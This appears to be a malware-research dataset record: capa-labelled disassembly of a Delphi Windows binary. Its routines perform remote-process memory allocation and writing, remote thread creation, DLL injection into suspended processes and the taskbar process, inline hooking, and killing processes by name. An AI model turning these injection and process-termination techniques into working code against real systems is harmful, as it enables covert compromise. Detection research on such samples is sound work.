joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b09b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4b0a2e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x3000
lea eax, [ebp - 8]
mov edx, ebx
call sub.rtl70.bpl__System__LStrFromPChar_qqrr17System_AnsiStringpc
mov eax, dword [ebp - 8]
call sub.rtl70.bpl__System__LStrLen_qqrx17System_AnsiString
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
mov edx, ebx
call sub.rtl70.bpl__System__LStrFromPChar_qqrr17System_AnsiStringpc
mov eax, dword [ebp - 0xc]
call sub.rtl70.bpl__System__LStrLen_qqrx17System_AnsiString
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b0a35
lea eax, [ebp - 0xc]
mov edx, 2
call sub.rtl70.bpl__System__LStrArrayClr_qqrpvi
ret

Function at 0x4b0a40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4b0a70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call sym.P_Interface.bpl__Codehook_InjectMemory_qqruipvui
mov esi, eax
mov eax, edi
call sym.P_Interface.bpl__Codehook_SizeOfProc_qqrpv
mov ecx, eax
mov edx, edi
mov eax, ebx
call sym.P_Interface.bpl__Codehook_InjectMemory_qqruipvui
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x4b0ad6
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4b0be4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x4b05f8]
call sub.rtl70.bpl__System__InitializeRecord_qqrpvt1
xor eax, eax
push ebp
push 0x4b0cf5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
test ebx, ebx
je 0x4b0c7d
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x4b0c89
cmp esi, 0x30000000
jbe 0x4b0c32
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004b19ec
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4b0cd9
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x28]
push edx
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x14]
mov edx, 0x4b0bbc
mov eax, dword [ebp - 4]
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
test eax, eax
je 0x4b0cd9
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b0cfc
lea eax, [ebp - 0x2c]
mov edx, dword [0x4b05f8]
call sub.rtl70.bpl__System__FinalizeRecord_qqrpvt1
ret
Function at 0x4b0ec0
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4b0f74
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x1c]
or eax, 4
push eax
cmp byte [ebp + 0x20], 1
cmc
sbb eax, eax
push eax
mov eax, dword [ebp + 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4b0f5e
push 0x4b0f88
push 0x4b0f90
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0xc], eax
push 4
push 0
lea ecx, [ebp - 0xc]
mov edx, 0x4b0ea4
mov eax, dword [esi]
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
mov eax, dword [esi]
mov edx, dword [ebp + 8]
call sym.P_Interface.bpl__Codehook_InjectLibrary_qqrui17System_AnsiString
mov ebx, eax
mov eax, dword [esi + 4]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b0f7b
lea eax, [ebp + 8]
call sub.rtl70.bpl__System__LStrClr_qqrpv
ret

Function at 0x4b0fb8
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x1c]
or eax, 4
push eax
cmp byte [ebp + 0x20], 1
cmc
sbb eax, eax
push eax
mov eax, dword [ebp + 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4b1040
push 0x4b104c
push 0x4b1054
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0xc], eax
push 4
push 0
lea ecx, [ebp - 0xc]
mov edx, 0x4b0f9c
mov eax, dword [esi]
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
mov eax, dword [esi]
mov edx, dword [ebp + 8]
call sym.P_Interface.bpl__Codehook_InjectLibrary_qqruipv
mov ebx, eax
mov eax, dword [esi + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
Function at 0x4b1318
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov byte [ebp - 1], 1
xor edx, edx
push ebp
push 0x4b13ae
push dword fs:[edx]
mov dword fs:[edx], esp
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 0x19
push esi
call sub.kernel32.dll_VirtualProtect
mov eax, dword [sym.P_Interface.bpl__Codehook_addr_data]
call sub.rtl70.bpl__System__DynArrayLength_qqrv
dec eax
test eax, eax
jl 0x4b1394
inc eax
xor ebx, ebx
mov edx, dword [sym.P_Interface.bpl__Codehook_addr_data]
mov edx, dword [edx + ebx*4]
cmp edx, esi
jne 0x4b1390
xor ecx, ecx
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, ecx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
imul edx, ebx, 0x65
mov edi, dword [sym.P_Interface.bpl__Codehook_aValue]
lea edx, [edi + edx]
mov dl, byte [edx + ecx]
mov byte [eax], dl
inc ecx
cmp ecx, 0x65
jne 0x4b1364
jmp 0x4b1394
inc ebx
dec eax
jne 0x4b1355
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
push 0x19
push esi
call sub.kernel32.dll_VirtualProtect
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b13bc
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4b1407
Capabilities:
Find taskbar

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov edi, eax
xor ebx, ebx
push esp
push 0
push 0x4b14b4
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0x4b14c4
push 0x4b14cc
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 4], eax
push 0x4b14d8
push 0x4b14cc
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0xc], eax
push 0x4b14e4
push 0x4b14cc
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x10], eax
mov edx, edi
mov eax, esi
call sym.P_Interface.bpl__Codehook_InjectString_qqruipc
mov dword [esp + 8], eax
push 0x10
push 0
lea ecx, [esp + 0xc]
mov edx, 0x4b13c8
mov eax, esi
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
test eax, eax
je 0x4b14a9
push eax
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
mov bl, 1
mov eax, ebx
add esp, 0x14
pop edi
pop esi
pop ebx
ret

Function at 0x4b17b4
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x4b17c3
or edx, 0x200
test eax, 0x20000000
je 0x4b17f7
test eax, 0x40000000
je 0x4b17e2
test eax, 0x80000000
je 0x4b17dd
or edx, 0x40
jmp 0x4b181e
or edx, 0x20
jmp 0x4b181e
test eax, 0x80000000
je 0x4b17f1
or edx, 0x80
jmp 0x4b181e
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x4b180f
test eax, 0x80000000
je 0x4b180a
or edx, 4
jmp 0x4b181e
or edx, 2
jmp 0x4b181e
test eax, 0x80000000
je 0x4b181b
or edx, 8
jmp 0x4b181e
or edx, 1
mov eax, edx
ret
Function at 0x4b37f8
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
test dl, dl
je 0x4b3812
add esp, 0xfffffff0
call sub.rtl70.bpl__System__ClassCreate_qqrp17System_TMetaClasso
mov edi, ecx
mov byte [ebp - 1], dl
mov ebx, eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4b392b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebx + 0x10]
call sub.rtl70.bpl__System__LStrClr_qqrpv
xor eax, eax
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x34], esi
mov eax, esi
shl eax, 0x14
call sub.rtl70.bpl__System_SysGetMem_qqri
mov dword [ebx + 0x38], eax
cmp dword [ebp + 0x10], 0
jne 0x4b388a
test edi, edi
jne 0x4b3870
push 0
push 0
push 0
push 1
push 0x4b3954
call sub.wininet.dll_InternetOpenA
mov dword [ebx + 4], eax
jmp 0x4b38ce
dec edi
jne 0x4b38ce
push 0
push 0
push 0
push 0
push 0x4b3954
call sub.wininet.dll_InternetOpenA
mov dword [ebx + 4], eax
jmp 0x4b38ce
push 0
push 0
push 0x4b3968
push dword [ebp + 0x10]
push 0x4b3978
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 0xc]
call sub.rtl70.bpl__Sysutils_IntToStr_qqri
push dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 4
call sub.rtl70.bpl__System__LStrCatN_qqrv
mov eax, dword [ebp - 8]
call sub.rtl70.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
push 3
push 0x4b3954
call sub.wininet.dll_InternetOpenA
mov dword [ebx + 4], eax
lea edx, [ebp - 0x10]
mov eax, 0x4b3984
call sub.rtl70.bpl__Comobj_CreateOleObject_qqrx17System_AnsiString
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x20]
call sub.rtl70.bpl__Variants__VarFromDisp_qqrr8TVarDatax36System__DelphiInterface_t9IDispatch_
push 0x3300
push 2
push 0x4b39a0
lea eax, [ebx + 0x20]
push eax
push 0
call sub.rtl70.bpl__Variants__DispInvoke_qp8TVarDatarx8TVarDatap16System_TCallDescpv
add esp, 0x14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b3932
lea eax, [ebp - 0x10]
call sub.rtl70.bpl__System__IntfClear_qqrr45System__DelphiInterface_t17System_IInterface_
lea eax, [ebp - 0xc]
mov edx, 2
call sub.rtl70.bpl__System__LStrArrayClr_qqrpvi
lea eax, [ebp + 0x10]
call sub.rtl70.bpl__System__LStrClr_qqrpv
ret
Function at 0x4bc224
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x2c]
mov edi, dword [ebx + 0x3c]
sub edi, dword [ebx + 0x74]
sub edi, dword [ebx + 0x6c]
jmp 0x4bc251
mov eax, dword [ebx + 0x2c]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x6c]
ja 0x4bc2d0
push esi
mov eax, dword [ebx + 0x38]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.004b9bac
add esp, 0xc
sub dword [ebx + 0x70], esi
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x5c], ebp
mov eax, dword [ebx + 0x4c]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x44]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4bc29e
mov cx, word [esp]
sub cx, si
jmp 0x4bc2a0
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4bc287
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4bc2c6
mov cx, word [esp]
sub cx, si
jmp 0x4bc2c8
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4bc2af
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x4bc32d
mov edx, dword [ebx + 0x38]
mov ecx, edi
add edx, dword [ebx + 0x6c]
mov eax, ebp
add edx, dword [ebx + 0x74]
call fcn.004bbef8
add dword [ebx + 0x74], eax
cmp dword [ebx + 0x74], 3
jb 0x4bc318
mov eax, dword [ebx + 0x38]
mov edx, dword [ebx + 0x6c]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x48], eax
mov ecx, dword [ebx + 0x58]
shl eax, cl
mov edx, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x6c]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x54]
mov dword [ebx + 0x48], eax
cmp dword [ebx + 0x74], 0x106
jae 0x4bc32d
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4bc22e
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4f6ccc
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff2c
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov dword [ebp - 8], 0xffffffff
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1f03ff
call sub.kernel32.dll_OpenThread
mov ebx, eax
test ebx, ebx
je 0x4f6d98
cmp ebx, 0xffffffff
je 0x4f6d98
push ebx
call sub.kernel32.dll_SuspendThread
cmp eax, 0xffffffff
je 0x4f6d98
jmp 0x4f6d87
xor esi, esi
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, edi
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4f6d36
cmp eax, dword [esp]
pop edx
pop eax
ja 0x4f6d82
jmp 0x4f6d3a
pop edx
pop eax
jg 0x4f6d82
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
cmp edx, dword [esp + 4]
jne 0x4f6d63
cmp eax, dword [esp]
pop edx
pop eax
jb 0x4f6d82
jmp 0x4f6d67
pop edx
pop eax
jl 0x4f6d82
push ebx
call sub.kernel32.dll_ResumeThread
push 0x64
call sub.kernel32.dll_Sleep
push ebx
call sub.kernel32.dll_SuspendThread
inc esi
cmp esi, 5
jg 0x4f6d98
jmp 0x4f6d87
mov dword [ebp - 8], ebx
jmp 0x4f6d98
lea eax, [ebp - 0xd4]
push eax
push ebx
call sub.kernel32.dll_GetThreadContext
test eax, eax
jne 0x4f6d18
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4f7598
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4f76af
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
cmp dword [ebp - 4], 0
je 0x4f7693
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x32]
mov ebx, dword [eax + 0x36]
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov dword [ebp - 0x18], eax
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
lea ecx, [ebp - 0x14]
mov edx, 0x3a
mov eax, dword [ebp - 4]
call sym.P_Interface.bpl__Hookutils_SuspendOtherThread_qqrpvi
xor edx, edx
push ebp
push 0x4f768c
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x10]
push eax
push 0x40
push esi
push ebx
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x4f761e
call sub.rtl70.bpl__System__TryFinallyExit_qqrv
jmp 0x4f7693
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x32]
mov edx, eax
mov eax, ebx
call fcn.004021b8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
push ebx
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x4f7647
call sub.rtl70.bpl__System__TryFinallyExit_qqrv
jmp 0x4f7693
push 0x10000
push 0x1000
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualFree
push esi
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_FlushInstructionCache
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f7693
mov eax, dword [ebp - 0x14]
call fcn.004f6e5c
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f76b6
lea eax, [ebp - 0x14]
mov edx, dword [sym.P_Interface.bpl___xp_18Hookutils_THandles]
call sub.rtl70.bpl__System__DynArrayClear_qqrrpvpv
ret
Function at 0x4f7804
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4f780d
mov eax, dword [ebp - 4]
add esp, 0xfffffeb8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4f7928
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [sym.imp.rtl70.bpl__System_FileMode]
mov byte [eax], 0
xor ecx, ecx
push ebp
push 0x4f7903
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov eax, dword [ebp - 8]
mov dword [eax], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x158]
call sub.rtl70.bpl__System__Assign_qqrr15System_TTextRecx17System_AnsiString
mov edx, 1
lea eax, [ebp - 0x158]
call sub.rtl70.bpl__System__ResetFile_qqrr15System_TFileReci
call sub.rtl70.bpl__System_IOResult_qqrv
test eax, eax
jne 0x4f78e1
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 0x10149]
mov ecx, 0xfff1
lea eax, [ebp - 0x158]
call sub.rtl70.bpl__System__BlockRead_qqrr15System_TFileRecpviri
mov dx, word [ebp - 0xc]
test dx, dx
jbe 0x4f78db
lea eax, [ebp - 0x10149]
xor ecx, ecx
mov cl, byte [eax]
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx]
and ebx, 0xff
xor ecx, ebx
mov ecx, dword [ecx*4 + sym.P_Interface.bpl__Crc32_Table]
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx]
shr ebx, 8
xor ecx, ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], ecx
inc eax
dec dx
jne 0x4f78ae
cmp dword [ebp - 0xc], 0
jne 0x4f7885
lea eax, [ebp - 0x158]
call sub.rtl70.bpl__System__Close_qqrr15System_TTextRec
mov eax, dword [ebp - 8]
not dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f7912
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f792f
lea eax, [ebp - 4]
call sub.rtl70.bpl__System__LStrClr_qqrpv
ret

Function at 0x4f7938
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4f79ce
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__System__LStrLen_qqrx17System_AnsiString
mov ecx, eax
test ecx, ecx
jle 0x4f79a7
mov esi, 1
mov eax, dword [ebp - 4]
movzx eax, byte [eax + esi - 1]
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
xor eax, dword [esp]
xor edx, dword [esp + 4]
add esp, 8
and eax, 0xff
mov eax, dword [eax*4 + sym.P_Interface.bpl__Crc32_Table]
shr ebx, 8
and ebx, 0xffffff
xor eax, ebx
mov ebx, eax
inc esi
dec ecx
jne 0x4f7971
mov ecx, dword [ebp - 8]
mov eax, ebx
not eax
mov edx, 8
call sub.rtl70.bpl__Sysutils_IntToHex_qqrii
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f79d5
lea eax, [ebp - 4]
call sub.rtl70.bpl__System__LStrClr_qqrpv
ret
Function at 0x52a1e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2c
push 0
push 0
dec ecx
jne 0x52a1e8
push ebx
lea ebx, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x52a3e2
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 2
call fcn.00416500
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x52a3bd
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebx], 0x128
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00416520
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x52a39e
lea eax, [ebp - 0x138]
lea edx, [ebx + 0x24]
mov ecx, 0x104
call sub.rtl70.bpl__System__LStrFromArray_qqrr17System_AnsiStringpci
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call sub.rtl70.bpl__Sysutils_ExtractFileName_qqrx17System_AnsiString
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, 0x52a3f8
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 0x13c]
pop eax
call sub.rtl70.bpl__System__LStrCmp_qqrv
je 0x52a379
lea eax, [ebp - 0x144]
lea edx, [ebx + 0x24]
mov ecx, 0x104
call sub.rtl70.bpl__System__LStrFromArray_qqrr17System_AnsiStringpci
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, 0x52a3f8
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 0x148]
pop eax
call sub.rtl70.bpl__System__LStrCmp_qqrv
je 0x52a379
lea eax, [ebp - 0x150]
lea edx, [ebx + 0x24]
mov ecx, 0x104
call sub.rtl70.bpl__System__LStrFromArray_qqrr17System_AnsiStringpci
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov eax, dword [ebp - 0x14c]
push eax
lea edx, [ebp - 0x154]
mov eax, 0x52a40c
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 0x154]
pop eax
call sub.rtl70.bpl__System__LStrCmp_qqrv
je 0x52a379
lea eax, [ebp - 0x15c]
lea edx, [ebx + 0x24]
mov ecx, 0x104
call sub.rtl70.bpl__System__LStrFromArray_qqrr17System_AnsiStringpci
mov eax, dword [ebp - 0x15c]
lea edx, [ebp - 0x158]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov eax, dword [ebp - 0x158]
push eax
lea edx, [ebp - 0x160]
mov eax, 0x52a420
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 0x160]
pop eax
call sub.rtl70.bpl__System__LStrCmp_qqrv
jne 0x52a38e
push 0
mov eax, dword [ebx + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00416540
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x52a23c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52a3c4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
ret